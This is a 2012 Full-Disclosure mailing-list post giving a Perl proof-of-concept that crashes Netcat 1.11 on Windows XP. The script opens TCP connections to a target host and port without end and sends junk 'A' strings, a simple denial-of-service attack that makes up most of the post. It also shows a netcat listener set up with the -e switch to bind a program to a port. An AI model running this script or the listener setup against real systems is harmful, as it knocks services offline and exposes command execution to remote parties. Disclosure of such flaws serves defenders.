Netcat 1.11 Crash POC

[kaveh ghaemmaghami <kavehghaemmaghami () googlemail com>]

# Exploit Title: Netcat 1.11 Crash POC
# crash:http://imageshack.us/photo/my-images/687/47003227.jpg/
# Date: July 13, 2012
# Author: coolkaveh
# coolkaveh () rocketmail com
# https://twitter.com/coolkaveh
# Vendor Homepage: The NT version was  written by Weld Pond <weld () vulnwatch org>
# Version: 1.11
# Tested on: windows XP SP3
# set your netcat listening on port 222 with -e switch sftp or etc ..
# example nc.exe -l -p 2222 -v -e tftp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy netcat Crash
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
$|=1;
sub usage {
    print "nc.exe -l -p 2222 -v -e tftp";
    print "by coolkaveh\n";
        print "coolkaveh () rocketmail com\n";
    print "usage: perl nc.pl <host> \n";
}
$host=shift;
$port=shift || "2222";
if(!defined($host)){
    print "nc.exe -l -p 2222 -v -e tftp";
    print "by coolkaveh\n";
        print "coolkaveh () rocketmail com\n";
    print "usage: perl nc.pl <host> \n";
        exit(0);
}
@junk=('A'x100);
print "Crashing NC !\n";
while (1) {
   COMMAND_LIST: foreach $cmd (@junk){
                LABEL5: $sock1=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$port, Proto=>'tcp', Timeout=>30);
                if(defined($sock1)){
                        $sock1->send("$cmd"." "."$poc\r\n", 0);
                                }
                }               
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/